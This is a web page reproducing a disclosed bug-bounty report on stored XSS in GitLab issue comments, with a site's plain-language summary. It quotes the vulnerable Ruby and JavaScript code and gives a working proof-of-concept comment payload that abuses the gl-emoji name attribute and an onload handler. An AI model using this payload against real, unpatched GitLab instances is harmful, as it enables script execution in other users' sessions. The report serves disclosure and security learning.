Skip to content
XSS Disclosed report Advanced

Stored XSS on issue comments and other pages which contain notes

Two sanitisation bypasses let an attacker inject script into issue comments: a server-side syntax highlighting filter builds HTML from unsanitised attributes, and a frontend emoji custom element inserts its name attribute into an image tag without escaping. An attacker who can comment could run script in the browser of anyone viewing the issue or snippet.

jarij Follow

Originally disclosed on HackerOne

Bounty$3,000 High 8.7 View original
  • Triaged in 4 days
  • Fixed in 2 months
  • Paid in 4 days
  • Disclosed after 7 months

Summary

This report contains two XSS sanitization bypasses:

  • The SyntaxHighlightFilter creates html from unsanitized data. This can be used to bypass the XSS filter on the server-side.
Ruby
 def highlight_node(node)
...
sourcepos = node.parent.attr('data-sourcepos')
...
sourcepos_attr = sourcepos ? "data-sourcepos=\"#{sourcepos}\"" : ""

 highlighted = %(<pre #{sourcepos_attr} class="#{css_classes}"
                             lang="#{language}"
                             #{lang_params}
                             v-pre="true"><code>#{code}</code></pre>)
  • The gl-emoji custom element can be used to bypass the gitlab-ui v-safe-html directive sanitization on the frontend side by injecting the payload into the name attribute:
JavaScript
export function emojiImageTag(name, src) {
  return `{{media:1}}`;
}
  • Gitlab SaaS is not vulnerable because this report does not include CSP bypass. I'm currently working on this.

Steps to reproduce

xss-poc.webm From the original on HackerOne
  1. Launch self-managed Gitlab instance
  2. Create issue
  3. Copy and paste the following payload into the comment field:
<pre data-sourcepos="&#34; href=&#34;x&#34;></pre>
<gl-emoji data-name='&#34;x=&#34y&#34 onload=&#34;alert(document.location.href)&#34;' data-unicode-version='x'>
abc
</gl-emoji>
<pre x=&#34;">
<code></code></pre>

Results of GitLab environment info

# gitlab-rake gitlab:env:info         

System information
System:
Proxy:          no
Current User:   git
Using RVM:      no
Ruby Version:   2.7.4p191
Gem Version:    3.1.4
Bundler Version:2.1.4
Rake Version:   13.0.6
Redis Version:  6.0.16
Git Version:    2.33.0.
Sidekiq Version:6.2.2
Go Version:     unknown

GitLab information
Version:        14.4.2-ee
Revision:       84aa6daaffd
Directory:      /opt/gitlab/embedded/service/gitlab-rails
DB Adapter:     PostgreSQL
DB Version:     12.7
URL:            http://localhost:8888
HTTP Clone URL: http://localhost:8888/some-group/some-project.git
SSH Clone URL:  git@localhost:some-group/some-project.git
Elasticsearch:  no
Geo:            no
Using LDAP:     no
Using Omniauth: yes
Omniauth Providers:

GitLab Shell
Version:        13.21.1
Repository storage paths:
- default:      /var/opt/gitlab/git-data/repositories
GitLab Shell path:              /opt/gitlab/embedded/service/gitlab-shell
Git:            /opt/gitlab/embedded/bin/git

Impact

Attacker who can comment on issue will be able to XSS users that visit that issue. This also affects other pages where comments can be posted, such as snippets.

The original report as published on HackerOne, by jarij. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker able to comment could run script for users who view the issue or other pages with comments, though GitLab SaaS is not affected because the report does not include a CSP bypass.

What the attacker needed

Self-managed GitLab instance; ability to post a comment; victim views the issue or snippet

How it was found

  1. Launch a self-managed GitLab instance
  2. Create an issue
  3. Paste the crafted markup into the comment field

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a site shows user comments, it normally cleans the text so that hidden code cannot run in a visitor's browser. Here two parts of that cleaning failed: one on the server that builds highlighted code blocks, and one in the browser that draws emoji. As a result, a commenter could make code run for anyone who opened the page.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by jarij

View all

4 more disclosed reports, best first.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.